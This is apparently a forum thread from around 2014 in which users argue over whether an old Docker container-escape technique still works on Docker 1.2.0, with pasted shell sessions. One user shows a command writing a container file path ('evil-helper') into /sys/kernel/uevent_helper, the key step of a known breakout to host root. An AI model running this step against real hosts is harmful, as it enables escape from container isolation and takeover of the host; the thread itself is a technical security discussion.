That's an article from 2011. This evasion does not work today.
That example is old, but yes it does work, and will continue to work until docker uses user namespaces.
That said the example is not a good one because of the changes applied these days, e.g. the use of the UID on the host-side.
I actually tried it on Docker 1.2.0 with the ubuntu:14.04 image.
/sys is already mounted and it is read-only, and it cannot be mounted manually:
root@07ba8c752195:/# mkdir sys2
root@07ba8c752195:/# mount -t sysfs sysfs /sys2
mount: block device sysfs is write-protected, mounting read-only
mount: cannot mount block device sysfs read-onlyBTW: Just one example of a typical Linux namespace vulnerability:
http://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-na...
I tested this with the busybox image, and received a warning that /sys was already mounted, but the attack then proceded to work as expected.
kalmi@sylph ~> docker run -t -i busybox:latest
/ # mount -t sysfs sysfs /sys
mount: permission denied (are you root?)
/ # mkdir sys2
/ # mount -t sysfs sysfs /sys2
mount: mounting sysfs on /sys2 failed: Permission denied
kalmi@sylph ~> docker --version
Docker version 1.2.0, build fa7b24f
kalmi@sylph ~> uname -r
Linux sylph 3.13.0-35-generic #62-Ubuntu SMP Fri Aug 15 01:58:42 UTC 2014 x86_64 x86_64 x86_64 GNU/LinuxWe don't need to argue about this, but I see the same permission-denied issue as you, but that doesn't matter.
The /sys is mounted already and reading/writing to it succeeds:
/ # mount -t sysfs sysfs /sys
mount: permission denied (are you root?)
/ # echo /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a9706aef/tmp/evil-helper > /sys/kernel/uevent_helper
/ # cat /sys/kernel/uevent_helper
/var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a906aef/tmp/evil-helper
http://blog.bofh.it/debian/id_413